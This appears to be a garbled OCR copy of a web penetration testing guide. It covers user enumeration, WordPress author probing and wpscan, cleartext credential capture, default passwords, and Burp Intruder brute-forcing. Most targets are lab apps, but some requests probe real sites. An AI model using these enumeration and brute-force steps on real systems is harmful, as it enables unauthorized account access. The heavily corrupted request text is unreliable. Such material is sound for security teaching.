Bl - +84

Your current email address

Location

Vietnam (Viét Nam) =

3. Test Account Provisioning Process
Test Objective

Verify which account may provision other account and of what type

How to test
Test List
1 Is thereany verification, vettingandauthorization of provisioning requests?
1 Is thereany verification, vettingnd authorization of dprovisioning requests?
1 Can an administrator provision other administrators or just users?
 Can an administrator or other user provision accounts with ggidl greater than their own?

Can anadministrator or user garovision themselves?
1 How are the files or resources owned by th@wisioned usemanaged? Are they deleted? Is
access transferred

Example

I n Wor dPress, onl yaddressaeereqdired tanpeowston thenuger, asrstawn below
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¢ @ @ # 192.168.222.136/wordpress/wp-admin/users.php oo @ ¥ | | Q search 1Y

Update »

Add New User
Users can register themselves or you can [gEGUET G CETERTEE S [N

Nickname
First Name
Last Name

E-mail

Website

Password (twice)

Add User »

De-provisioning of users requires the admin to select the user to-f@dsioned, select delete from the
dropdown menu and applying this action. The administrator is then presented withgabdimalasking
whattodowiththedpr ovi si oni ng userds post (delete or

User List by Role

Administrator

1D Username Name E-mail Website Posts
[R] admin admin@example.org 2 Edit
Subscriber
1D Username Name E-mail Website Posts
s 555-555-0199@example.com winter@example.com 0 Edit
4 abc abc@abc.com ] Edit
(] user Administrator user@example.org 0 Edit
Editor
Auth
Update Users e
Contributor
@® Delete checked users. Subscriber

O set the Role of checked users to | Administrator

Delete Users
You have specified these users for deletion:
® ID #4: abc
What should be done with posts and links owned by this user?
@ Delete all posts and links.

O Artribure all posts and links to: | 555-555-0199@example.com |+

Confirm Deletion
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4. Testing for Account Enumeration and Guessable User Account

Black box Testing

In this case, the tester knows nothing about the specific application, usernantwgtiapplogic, error
messages on log in page, or password recovery facilities. If application is vulnerable, the tester receives a
response message that reveals, directly or indirectly, some information useful for enumerating users.

HTTP Response message

1 Test for valid user with wrong password

&) WorDPREsS

Error: Incorrect password.

Username:

admin

Password:

L] Remember me

POST /wordpress/wp-login.php HTTP/L.1

Host: 152.188.2I22.136

User-igent: Mozilla/5.0 (Windows NT 10.0; Winf4; x&4; rv:57.0) Gecko/ /20100101 Firefox/57.0
Apeoept: text/html, application/rxhtmltxml, application/xml;q=0.5,*%/*;q=0_8

Apcept-Language: en-GB en;gq=0_5

Arcept-Encoding: gzip, deflate

Content-Type: application/x-wmmv-form-urlencoded

Content-Length: 59
Cookie: acopendivids=swingset, K jotto,phphhl, reduwine; acgroupswithpersist=nada; PHPSESSID=n38qghliuecTiabS5assrubplil

Connection: close
Tpgrade-Insecure-Requests: 1

log=adminipwd=lisubmit=Logint$CI%BBéiredirect_to=wp-adnin$ZF

i Test for a nonexistent username
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@WORDPRESS

Error: Wrong username.

Username:

a0a04a0a0

Password:

Another way to enumerate users
1 Analyzing the error code received on login page

@ @ https://www.zotero.org/admin e @ | QU Search

zotero

' Home Groups People Documentation Forums Get Involved Search for people

Home > People > admin

admin Following (0)

admin is not following anyone.

Followers (0)

admin has no followers.

Groups

Regquest | Response ]

_[ Raw T Headers T Hex T HTHL T Render ]

HTTP/1.1 200 OK

Date: Mom, IZ5 Dec 2017 08:28:34 GHNT

Server: Apache/ 2. 4_.27 (Amazmon)

Expires: Thwu, 1% MNow 1581 08:5Z:00 GMT
Cache-Control: no-store, no-cache, mast-rewvalidate
Pragma: no-—cache

H¥-Frame-Options: SAMEORIGIIT

Vary: Accept-Encoding

Content-Length: 12582

Conmnection: close

Content-Type: text,/html; charsec=UTF-8
Strice-Transport—Security: max—age=31538000; includefubDomains; preload
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OF https://www.zotero.org/adminl 111

zotero

l Home Groups People Documentation Forums Get Involved

Home > Error

Error

Page Not Found

The page you were looking for could not be found

| Request | Response ]

J Raw T Headers T Hex T HTML T Render ]

HTTP/S1.1 404 HNot Found

Date: Mon, Z&5 Dec Z017 08:I5:40 GMT

Serwver: Apache/Z_4_Z7 (Ama=zon)

Expires: Thu, 1% Now 1581 08:5Z:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

¥-Frame-Options: SAMEOBRIGIN

Vary: Accept—-Encoding

Content-Length: SZ7&

Connection: close

Content-Type: text/html; charsec=UTF-8
Strict-Transport-Security: max—age=31536000; includeSubDomains; preload

Analyzing URLs and URLSs rdirections

Go Cancel < >y Follow redirection Target: http://923theeagle.com w uj
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

FET /?author=1 HTTP/1.1

Host: 923theeagle com

User-Agent: Mozilla/s 0 (Vindows NT 10 0; Wing4; x&4; rv:§8.0) Gecko/20100101 Firefox/58.0
Aceept: text/heml,applicavion/xhenlixnl,application/zml;q=0.9,*/*;q=0.0

Accept-Language: en-GB,en;q=0.5§

Accept-Encoding: gsip, deflave

Conmection: clase

Upgrade-Tnsecure-Requests: 1

“ HTTP/1.1 301 Moved Permanently
Date: Fri, 23 Feb 2018 03:26:51 GHT
Server: Apache
Location: http://S23thesagle. com/author/lubqgrqiqm/
Connection: close
Content-Type: text/html; charset=UTF-&
Content-Length: 0
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Request Response

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render

GET /author/lwhareicqew/ HTTE/L 1

Host: S23theeagle. com

User-Agent: Mozillas5.0 (Windows NI 10.0; Win€4; xE4; rv:5$8.0) Gecke/Z0L00L0L Firefox/58.0
Accept: text/html,application/xhtml+xml,application/zal;q=0.9,%/%;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gsip, deflate

Connection: close

Upgrade-Insecure-Requests: L

L

Request Line: 936.327.5380

« Concerts
« Contact

LwbqrQIqww

Home/LwhgrQIgww

About LwbqrQIgww

This author has not yet filled in any details
- So far LwbgrQIgww has created | blog entries

Go Cance < v >|v Target: hitp:i/923theeagle.com

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

GET /Zauthor=2 HTTE/1.L In HTTE/1.1 404 Hot Found

Host: 923thesagle.com Date: Fri, 23 Feb 2018 03:28:07 GHT
User-igent: Mozilla/5 0 (Windows NT 10.0; Wing4; x64; rv:58.0) Gecko/Z0100101 Firefox/58.0 Server: Apache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT

Accept-Language: en-GE,en;q=0.5§
Accepr-Encoding: gzip, deflate
Connection: close
Upgrade-Tnsecure-Requests: 1

Cache-Control: no-cache, must-revalidate, max-age=0

Link: <hrep://823chesagle. com/wp-json/>; rel="hteps://api.w.org/"
Comnection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 17874

Analyzing a message received from a ano#luthentication function (recovery, reset pass, register)

T

Reset password function example

POST SfAccount/ResetPassword HTTRP/1.1

Host: hackyourselffirst trovhunt com

User—Agent: Mozilla/s5. 0 (Windows NT 10.0; Wined; xed4; rw:E57.0) Gecko,s20100101 Firefox/57.0
Accept: text/html,applicacionsxhtml+xml], application/xml  gq=0.5,*/*qgq=0_8

Accept-Language: en-GE,en;qg=0.5

Accept-Encoding: g=zip, deflate

Beferer: http://fhackyvourselffirst. trovhunt . com/Account /BesetPassword

Content-Type: application/z-www-form-urlencoded

Content-Length: 35

Cookie: _ga=GAl. 2. 4B878B3853.15133I5564; ASP_NET_Sessionld=wkdbdziteltnpltiIdlzwgtpv: VisitStan

ARPAffinity=6E6555a7 7 cededT4f4datsicdilo0fhelcle0bdE0bh553eBf6EL4dAI4d1260%9a0£2; _gid=GAL. 2. 1005
Connection: close

Tpgrade-Insecure—Regquests: 1

Email=aaaaaaaaaassaaaaat40gmail  com

54



[WEB APPLICATIGENETRATION TES'I]I

Request R&Epnnse]

[HawTHa&dersTHexTHmLTM]—

oupercar showdowin

« Leaderboard

= Begister
- LDE ]I'J.

Reset password.

» The specified user does not exist.
Enter your email address to reset.

Email

la@gmail.com

Guessing Users

In some cases the user IDs are created with specific policies of administration or company, such as:

G50

Home
Secure mail
Ext mail HCM

Change Password

Welcome to FPT internal home page

7
3
[14]
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m
=]
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Download

Internal Website =
Internal Finance =

T
=
T

=

Tools:

1 Manual test

1 Automate tools such as: WordPress enumeration username tools like wpscan
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root@ilak:~# wpscan -u 192.168.222.136/wordpress -e u

X A / / ATE

Sk LX IS ] e o B

SN | ceiigiNE R/ T

NSNS | IO RS I 1 ) 51
AL |

\
AVARR\ VAR I | / O O [ I8

WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@ WPScan , @ethicalhack3r, @erwan lr, pvdl, @ FireFart

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]Jo [A]lbort, default: [N]Y
[i] Updating the Database ...

[i] Update completed.

[+] URL: http://192.168.222.136/wordpress/

Enumerating usernames
Identified the following 1 user/s:

[!] Default first WordPress username 'admin' is still used

Authentication Testing

1. Testing for Credentials Transported over an Encrypted Channel
Black Box Testing
In the following examples we will use Burp Suite to capture packet headers and to inspect the them

Example 1Sending data witiGiET/POST method through HTTP

Suppose that the login page presents a form with field User, Pass, and the Submit button toaseithent
and give access to application.
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1077 [ hitp://192.168.222.136 GET il ?pag info.ph.. v 200 53317 HTML php
-

Request | Response

Raw | Params | Headers | Hex

GET /mutillidas/index.phpipage-ussi-info. phpiusernaue-ipassword=asuser-info-php-swhmit-button=ViewticcountDetails HITE/L L
Host: 152.1E8. 138

User-Agent: Mozilla/S.0 (Windows NT 10.0; Winf4; x64; rvw:58.0) Gecko/2Z0100L01 Firefox/58.0

Accept: text/html,application/zhtultzul,application/xul;q=0.5,%/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gsip, deflats

Referer: htetp://192.1E8.
Cookie: showhints=1; dbx-postmeta=grabit=0-,1-,2-,3-,4- 5 &-sadvancedstuff=0-,1-,7—; acopendivids=swingset,jotto,phpbbl, reduine; acgroupswithpersist=nada;
PHPSESSID=421483ateqr qooncunvgsutges

Connection: close

Upgrade-Insecure-Requests: L

2. 136/wutillidae/index. php?page=user—infa. php

EEEa

arch term

1022 hitp:/H192.168.222 136
-

Reguest | Response

Raw [ Params | Headers | Hex

Idvwallogin.php < 302 558 HTML php

POST fdvwa/login.php HTTR/L.1

Host: 182.1E68.I2I22.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; z&4; rv:58.0) Gecko/Z0100101 Firefox/58.0
Accept: text/html,application/xhtml+txml, application/xml;q=0.9,%/*%;q=0.8

Accept-Language: en-GB,en;g=0.5

Accept-Eneoding: gzip, deflate

Referer: http://152.168. 220 136/ dvwa/login. php

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Cookie: security=low; dbx-postmeta=grabit=0-,61-,2-,3- 4~ 5- E-fadvancedstuff=0-,1-,2-; acopendivids=swingset,6 jotto,phpbhl, rednine; acgroupswithpersist=nada;
PHPSESEID=4C1483ateqr gqeoncunvgsuigo’

Comnection: close

Upgrade-Insecure-Bequests: L

username=adminipassword=adningLogin=Login

So the data is transmitted without encryption and a malicious user could intercept the username and
password by simple sniffinpe network with a tool like \Weshark

‘I‘http.request.methcd =="GET" B30 ~| Expression..  +

No. Time Source Destination Protocol  Length Info
16832 192.168.222 192.168.222.136 hp&username=a&password=a&us|
1 57175673 192 .168.222.148 192 .168.222 136 H - |
[l

»
» Frame 174: 644 bytes on wire (5152 bits), 644 bytes captured (5152 bits) on interface
» Ethernet II, Src: Vmware_d3:39:c8 (00:0¢:29:d3:39:c8), Dst: Vmware_5d:2a:56 (00:0c:29:5d:2a:56)
» Internet Protocol Version 4, Src: 192.168.222.148, Dst: 192.168.222.136
» Transmission Control Protocol, Src Port: 49000, Dst Port: 80, Seq: 1, Ack: 1, Len: 578
Hypertext Trans Protocol
» GET /mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details HTTP/1.1\r\n
Host: 192.168.222.136\r\n
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=8.5\r\n
Accept-Encoding: gzip, deflate\r\n
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©@® 4 m D% Qe=» 075 ¥ EIE aa a7 pfhdf

Filter: http.request.method == "POST" Expression... Clear Apply Save

Mo . Time Source Destinaticon Protocol Length Info
125 6.747664000 192.168.222.129 192.168.222.136 671 POST /dwwa/login.p

» Frame 125: 671 bytes on wire (5368 bits), 671 bytes captured (5368 bits) on interface C
» Ethernet II, Src: Vmware_f4:f3:27 (00:0c:29:f4:f3:27), Dst: Vmware_8f:ca:00 (00:0c:29:8f:ca:00)
» Internet Protocol Version 4, Src: 192.168.222.129 (192.168.222.129), Dst: 192.168.222.136 (192.16
» Transmission Control Protecol, Src Port: 39248 (39248), Dst Port: 80 (80), Seq: 952, Ack: 1816, L
» Hypertext Transfer Protocol
= HTML Form URL Encoded: application/x-www-form-urlencoded

» Form i1tem: "username" = "admin"

» Form i1tem: "password" = "admin"

» Form i1tem: "Login" = "Login"

Example 2: Sending data wiGET/POSTmethod through HTTPS

Suppose that our web application uses the HTTPS protocol to encrypt the data we are seatdihep&ir
for transmitting sensitive data like credentials). In this case, when logging on to the web application the
header of our POST ragst would be similar téhe following:

}ﬂﬂ https:/fwww vietcombank.comvn  POST /Banking2015/55c3clai82b730e063ef... o 200 9296 HTML ADAOng nh&®-p
A

Reguest | Response

Raw | Params | Headers | Hex

POST /IBankingl0l5/55c3c0a782b73%08632£a9d5985e2ab4/Account /Login HTTP/1. 1

Host: www.vietcombank.con.wn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:58.0) Gecko/20100101 Firefox/58.0

Aecept: text/html,application/xhtml+xml,application/xml;q=0.5,%/*;q=0.8

Accept-Language: en-GE,en;q=0.5

Accept-Encoding: gzip, deflate

RPeferer: https://www.vietcombank. con.vn/IBankingZ0l5/5503c0aT782h7359e063efa9d5985elab4d fAccount S Login
Content-Type: application/x—wnm—form-urlencodsd

Content-Length: 50

Cookie: ASP NET Sessionld=jsmeqodwSf4jwixzs30sfeull; _ga=GAl. 3 62858212, 15157285357, _gid=GAL. 3. 127e057128.1518285397; _gat=1l; _cultureValue=vi-VN
Connection: close

Upgrade-Insecure-Bequests: 1

source=fusername=abripass=abcicaptcha=383E8icaptcha-gquidl=3e23h2596543443d4791366457dal08e18

Example 3: sending data wiGET/POST method via HTTPS on a page reachable via HTTP

Imagine we having a web pageachable via HTTP and that only data sent from the authentication form
are transmitted via HTTPS
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Raw | Params T Headers IHex ] [Rﬂw T Headers IHex IHTML Render
GET /357484971806835548767215316604881614356/ Logintuid=adninipw=adnin ]
HTTP/1.1 r

Host: gaogle-gruyere. appspot. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xzE4; rv:58.0) T .
/20100101 Firefox/58.0 Home Signin | Signu
on/xhtnl+iml, application/xml; q=0.9,%/%;q=0.8
=0.5
g: gzip, deflate
: htep://google-gruyere. appspot. com/ -
GEUYERE_ID= 36740459715268355467672153166045991514356 G ruyerel Log In
]

| Invalid user name or password. |

User name:

Password:

Login |
=
v

L2 )=l ) (2] |Twpeesearch term 0 matches

We cansee thabur request is addressedwaw.example.com/logimsing HTTPS. But if we have a look

at the Refereheader (the page from which we came), iwisw.examplecom/ And is accessible via
simple HTTP. Although we are sendinigta via HTTPS, this deployment can allow SSLStrip attacks (a
type of Manin-the-middle attack)

Randomizing 255 hosts for scanning.
Scanning the whol for 255 hosts...
| 100.80 %

4 hosts added to the hosts 11

Starting Unified sniffing.

Text only Interface activated,
Hit 'h* for inline help

HTTP : 172.217.24.52:80 -> USER: admin PASS: admin INFO: http://google-gruyere
appspot.com/367484971926835948767215316604991514356/10gin

HTTP : 74.125.130 : > USER: admin P admin INFO: /3674849719268359487
67215316604991514356/1ogin?uid=admin&pw=admin

You can see that the data is transferred in clear text in the URL and not in the bodeqtidst. But we
must consider that SSL/TLS is a levadrbtocol, a lower level than HTTP, so the whbel€TP packet is
still encrypted making the URLUnreadable to analicious user using a sniffer. Nevertheless atated
before, it is nota good practie to use the GETmethodto sendsensitive data to a web application,
because the informati@montained in the URL can be stored in many locations such as proxyetnd
server logs.

2. Testing for default credentials
How to Test
Testing for default credentiatd common applications

1 Try default usernames such as: admin, administrator, root, system, guest, operator, superuser.
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1257 hitpi/192.168.222.136 POST [MhebGoal/attack?Screen=40&menu=700 v 200 30423 HTML Discover Clues in the HT...

7 192.168.222.136
1258 hitp:/192.168.222.138 GET MebGoat/javascriptiessonNav.js 304 230 script s 192.188.222.138
< T
[ o |
Heasers | vex |
POST request to (WebGoat/attack
Type Name Value
URL Screen 40
URL menu 700
Cookie dbx-postmeta grabit=0-,1-2-,3-4- 5-6-8advancedstuff=0-,1- 2-
Cookie acopendivids. swingset jotto, phpbb2,redmine
Cookie acgroupswithpersist nada
Cookie PHPSESSID 421483ateqracomemmyvgsufgo2
Cookie JSESSIOND F1CB45ECCH612F 3T6DIACB4T327CCETE
Cookie _cyclone_session BARTBOKD! FRIKIWQTYE1ZTU i TV mEzZD 9jcal...
Body [Usemame | admin
Body Password adminpr
Body SUBMT Login
1257 hitpF192.168.222.136 POST MebGoat/attack?Screen=40&menu=700 v 200 30423 HTHL Discover Clues in the HT...
1258 hitpM92.168.222.136 GET AWebGoatfjavascriptlessonNav js 304 230 script B
A
Request
_@ Headers | Hex | HTML TRender ]
Developers are notorious for leaving statements like FIXME's, TODD's, Code Broken, Hack, etc... inside the source code.
any denoting&nbsp; , backd , or thing doesn't work right.&nbsp:
Below is an example of a forms based authentication form. Look for clues to help you log in.
<fdivs>
<div id="message" class="info"><ER*> * Congratulations. You have successfully completed this lesson.<ER> * BINGO -- admin
<div id="lessonContent"><form accept—charset='UNENOWN' method='POST' name='form' action='attack?Screen=40&menu=700' enctype=''=<
Admin to regenerate database --z<p>*Welcome, admin<p>You have been authenticated with CREDENTIALS</form=</div>

Application administrative users are often named after the application or organization. it mean

you are testing an application named AABCO,
username and password.

Authentication Required

ﬁ http://192.168.222.136 is requesting your username and password. The site says: “WebGoat
Application”

User Name: [ |

Password:

1150 hitp:/i192.168.222.136 GET NiebGoat/atiack 200 4542 HTML WebGoat V5.4 192.168.222.136  JSESSIONID=8E
1155 hitp:/i192.168.222.136 GET NiebGoat/atiack 200 32825 HTML How to work with WebG. 192.168.222.136
1160 hitp:/i192.168.222.136 GET NiebGoatjavascriptjavascriptjs 304 229 script s 192.168.222.138
1161 hitp:/i192.168.222.136 GET NiebGoatlavascripimenu_system js 304 230 seript s 192.168.222.136
- 4
I
MParamsTHeaders Hex
GET /WehGoat/attack HTTP/L.1
Host: 18C7.188.207.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; VinGd; xé4: rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0_9,*/*;q=0_8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gsip, deflate
Referer: heep://152.168.222.136/
Cookie: dbx-postmetasgrabit=0-,1-,2- 3-,4- 5=, G-fadvancedstuff=0- -; acopendivids=swingset,jotto,phpbb?, redmine; acgroupswithpersist=nada; PHPSESSID=471483ateqrqcomemmvgsufgo;
JSESSIONID=¢E7BEETCCI4LARECODBDO4EBCOET 3208
_cyclone_session=BAhTB0kiDEN1c3Npbl5 faW(GOgZF R iJW01YIELZTU4MWMYMDhiNDU4N AxMUF1VnE=ZD e 4Nz B sAVERiEFS] o3 mx3RvalVuB ) sARkE iMWMr ROt ibXVrh JMx¥X1 CoUlWMiFa¥ THWQ ] Zwe L sk
Fg+ 3D% 3D~ -92459L06 £a=dD92d0d590b4205das4 Te9dEe1700

Commection: clase
Upgrads-Insecurs-Requests: 1
Authorization: Basic d2ViZZShdDp3ZWinbiFO
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Target | Proxy | Spider | Scanner | intruder | Repeater T Sequencer TDeandel T Comparer T Extender T Project options. T User options | Alerts

d2ViZ28ndDpaZWinb2Fa] @ Text O Hex (2]
Decode as . v
Encode as |=

Hash k2

Smart decode

webgoat: webgoat @ Text O Hex
Decode as >
Encodeas..  |¥

Hash . v

| smartdecoge |

1 Using above username with blank passwords.

Welcome to phpMyAdmin 2.6.4-pI3

MySQL 5.0.15 running on localhost as root@localhost

phpLiyAdmin
A4E0 Php
Database: My SQL phpMyAdmin
(Databases) ... MBS Cr:alseljr;eug\lf database: & Language @:  English (en-utf-8) v
blease select a database | 4 ; o reges ® TI] MySQL charset UTF-8 Unicode (utf3)
oW processes ()
Please select a database ? @ MySQL connection collation- | utf3_general_ci v
Character Sets and Collations — =
) Storage Engines @ Theme/ Style:  Original v
Databases u phpMyAdmin documentation
# Export fa} Official phpMyAdmin Homepage

[ChangelLog] [CVS] [Lists]

'our configuration file contains settings (root with no password

intrusion, and you really should fix this secu

1 Review the page source code and JavaSdrigaik for account names and passwaosditten in
comments.

(D view-source:http://192.168.222.136/WebGoat/attack?Screen=40&menu=700 o @ 7 | Q ton=View+Account+D —»

inside the source code. inkzsp:Review the source code for any comments denotinginbsp: passwords, backdoors, or som

down', 'groupl', 'plans’', "', 1) ">Close this Window</a>

:oken, Hack, etc... inside the source code. anbsp;Review the source code for any comments denotinganbsp; passwords, bi
iction='attack?Screen=40&menu=700" enctype=''><!/—- FIXME [EREl EEEEloy --><!—- Usc EEREE) to regensrate databass -->

9 Check for configuration files that contain usernames and passwords.
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B root®192.168.222.136 E’ New Session

£ My documents -EE D2 % phpmyadmin ~ (= [F] @= - 2 [D,FindFiles | T
B New - Edl Download ~ | [ Edit ~ 3¢ =) Properties | [ New - =
C:\Users\manhpham\Documents, fetc/phpmyadmin/
MName . Size  Twpe Chanaed Name . Size Changed Rights Qwner
+| [ /etc/phpmyadmin/cenfig-db.php - root@192,168.22..  — O * kel .. 2/23/2018 10:07:38 AM WXT-XP-X root
2 & X a@ | 8 & = | Encoding - » || apache.conf 1KB  4/14/2010 3:31:35PM W-r-=r=- root
Dy 7UST SOy UDCONTLE -EEiera e~ IC 1008 . gmnf\g.fnﬂter‘mc‘php 1KB  7/5/2000 11:42:49 PM W= root
22 Mon. 11 Oct 2010 15:16:29 -g480 | config.header.inc.php TKE  7/5/2009 11:42:49 PM - root
3 B -

4 _|configinc.php 4KB 17372010 %:46:05 PM wW-r--r-- root
— ## by default this file is managed via ucf, so you shot _|config-db.php TKE  10/12/2010 2:16:29 AM W-r----- root
%1 ## worry about manual changes being silently discarded. \JhtF‘ESSWd-SETUF‘ 1KB  8/24/2009 8:36:36 AM =ras=n root
| ## you'll probably also want to edit the configuration ulighttpd.conf 1KB  7/5/2009 11:42:49 PM W-r==r-- root
f| ## above too. | | phpmyadmin service 1KB 1071972009 10:25:38 PM W= root
g ##

$dbuser=RlTEGT R
ih|$dbpass="user";
# $basepath="";

$dbname="phpmyadmin";

$dbserver="";

$dbport="";

$dbtype="mysql";

W
< >
Line: 15/19 Encoding: 1252 (AMSI - La
1 Check for password hints.
@ 192.168.222.136/cyclone/ - @ T} O, ton=View+Account+D —

CYCLONE TRANSFER

™ ]

A new way to transfer money to your friends!

Sign Up!

CAUTION: This is an intentionally broken web application.
Please do NOT use any real information

Account: You can sign up on your own, or use an existing one
user: cycloneuser-3@cyclonetransfers.com
password: password

9 Testing for default password of new accounts?
Tools

Burp Intruder
Hydra

Nikto
Medusa

= =4 =4 =9

References
1 CIRT http://www.cirt.net/passwords
3. Testing for Weak lock out mechanism

Overview
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Account lockout mechanisms are used to mitigate brute force password guessing attack. Account are
typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined

periodof time, via a selservice unlock mechanism, or intervention by an administratmount lockout
mechanisms require a balance between protecting accounts from unauthorized access and protecting users

from being denied authorized access.

Test Objective

1 Evaluate the account | ockout mechani

T Evaluate the unl ock mechani smbs

How to test

1 UsingBurp Intruder& Burp Repeateto Brute force target site
Target | Proxy | Spider | Scanner | Intruder | Repeater T Sequencer T Decoder T Comparer TEx‘endar IPrD]em options. TUsar options | Alerts.

resi

st

smbs abi

ance

1= |2 x [aes

Target PﬂsmunsIPay\naﬂ.s Options

@ Payload Positions
Configure the positions where payleads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

Start attack

05T /dvwa/login php HITP/1 L

05 .168.222.136

-hgent: Mozilla/5.0 (Windows UT 10.0; Winf4; x84; rv:58.0) Gecko/20100101 Firefox/58.0
& /xhtml+xnl, spplication/sml;q=0_9,%/*;q=0_ 6

Referer: http://l92.168.222.136/dvwa/login. phe
Content-Type: application/Xx-wwv-form-urlencoded
Content-Length: 37

: securityslow; dix-postumetasgrabit=o

-7 acopendivids=swingset,jotto,phpbbl,reduine; acgroupswithpersistenada;

Q2B3sAVEEiEF9)c3IuX3RvalVub] sAR iMWHy ROt bV rh jNa¥H1CcULWN] Fe¥zdVass 4 THWY

usernane=aduinpassword=§18slogin=login

Target | Proxy | Spider | Scanner | intruder | Repeater I Sequencer T Decoder T Comparer I Extender T Froject oplions TUser options | Alerts

>

Add§
Clear §
Auto §
Refresh

1= [2 = |3 &

Target Pusninnshaym Options.

@ Payload Sets

ou can define one or more payload sets. The number of payload sets depends on the attack typs defined in the Posttions tab. Various payload types are available for each payload st, and each payload typs can be customized in different ways

Payload set | 1 - Payload count: 9
Payload type: | Simple list - Request count: 9

(@) Payload Options [Simple list

This payload type lets you configure a simple list of strings that are used as payloads

Paste abe
login
Load pass.
password
Remove | | 12345 »
langvanhang
Clear 54321
qwerty
admin

Add |

| Add from st ... =
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B! Intruder attack 2 — O >

Atftack Save Columns

J Results T Target T Positions T Payloads I Options ]

®

‘ Fitter: Showing all tems

Request 4 | Payload | Status | Error | Timeout | Length | Comment
0 302 O O 558
1 abc 302 ] 0] 558
2 Iogin 302 ] o 558
3 pass 302 ] o 558
4 password 302 a a 558
5 12345 302 O O 558
[ langvanhang 302 d ad 558
7 54321 302 O O 558
3 qwerty 302 O O 558
9 admin 302 U O 558

Reguest | Response
J Raw T Params T Headers | Hex

POST Jdvwa/login_ php HTTP/1.1 k

Host: 152_168. 138

User-Agent: Mozilla/s5.0 (Windows NT 10.0; Wined4; x&4; rv:-58_.0) Gecko/Z0100101 Firefox/58.0

Accept: text/html, application/xhtml+xml, application/xml ;q=0_9, */*;gq=0.8

Accept-Language: en—GE,en;q=0.5%

Accept—-Encoding: gzip, deflate

Peferer: http://182.188.I222. 136/ /dvwa/login. php

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Cookie: security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4- 5- E-fadvancedstuff=0-,1-,2-;
acopendivids=swingset,jotto,phpbhl,rednine; acgroupswithpersist=nada; PHPSESSID=grhalvi4flmoucasijrmbinlll;
JSESSIONID=F1C845ECCEE12F3TEDSACE4T7327CCRTE; ) |

B EJ EJ Type a search term 0 matches
B —

.

|-\}|

Go Cancel <|v > v Follow redirection Target: http://192.168.222.136 L;J @

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

[POST /avwa/login.php HITB/L.L A ETTF/1.1 302 Found [

Host: 192,166, 3 r Date: Fri, 23 Feb 2018 08:55:42 GHT r

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rvw:58.0) Gecko/20100101 Firsfox/58.0 Server: Apache/2.2.14 (Ubuntu) med_mono/Z.4.3 PHP/S.3.2-lubuntud.30 with Subesin-Pacch

Accept: text/hrul,application/xheultxul,applicacion/xul;q=0.9,%/*;q=0.8 proxy_html/3.0.1 wod python/3.3.1 Pythen/Z.6.5 mod ss1/2.2.14 OpenSSL/0. 9.6k

Accept-Language: en-GB,en;g=0.5 Phusicn_Passengsr/4.0.39 mod perl/2.0.4 Perl/vs.10.1

Accept-Encoding: gzip, deflate X-Fowered-By: PHEF/S5.3.2-lubuntud.30

Beferer: http://192.166.202.136/dvwa/login. php Expires: Thu, 15 Nov 1581 08:52:00 GHT

Content-Type: application/s-www-form-urlencodsd c 1: . . lidate, post-check=0, pre-check=0

Content-Length: 41 Pragna: no-cache

Cookie: security=low; dbx-postmstasgrabit=0-,1-,2-,3-,4-, 5- 6-dadvancedstuff=0-,1-,2-; Location: index.php

acopendivids=swingset,jotto,phphhl, reduine; acgrowpswithpersist=nada; Vary: hccept-Bncoding

PHPSESSID=qrhalv04 fhmouoasiirab3 ; JSESSIONID=FLCO45ECCEELIFITEDIACEBTII7CEETE; Content-Length: O

_cyclone_sessicn=BALW7ECKiDINLc3Nphls £aWlEIgZFRkk iIWOLT]ELZTUAMVIYIDLiND U4 AxHWE 1 YuE2ZD e 4l Connection: close

Q2B sAVEK1EFS]c3dux3RvalVuB s ARk LIWHr ROE b XVrh JMx THLCcULWI] Fa Tz AVass 4 THWS LUWZq2 Type: text/html

UESE]sARgS3D%2D--92455h06 £acd0S2d0d5S0n4205dasd7e8d6e1700; security_level=0

Comnection: close

Upgrade-Insecure-Requests: 1

Login=Login
L 9
v v
0 matches ? = + = 0 matches

558 bytes | 3 millis
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@ @J Target: http:/1192.168.222.136 EJ EJ

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /dvwa/inds; x
Host: 192.168. r

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rv:58.0) Gecko/20100L0L Firefox/58.0
Accept: text/html,application/xhtmltxml,application/zml;q=0.%,%/*;q=0.8

Accept-Language: =n-GB,e=n;q=0.5

Accept-Encoding: gzip, deflate
Beferer: http://l92.166 - L36/dvwas Login. phi
Cockie: security=lew; dbx-pestuwetasgrabic=0-,l-,2-,3-,4-,5- 6-fadvancedstuff=0-,1-,2-;
acopendivids=swingset,jorto,phpbbl, reduine; acgroupswithpersist=nada;

PHPSESSID=qrha0v04 fhucusasiirub3ulkl; JSESSIONID=FlCE45ECCEEL2F376D9ACE4TIZTCCHTE;
£AWQGOgZF R 1dWQ 1Y E1Z TUSMWHYIDR i ND U411 Ax W F L YnEzZD c4lz

_eyelone_session=BARTEOKiD3NLe3ND
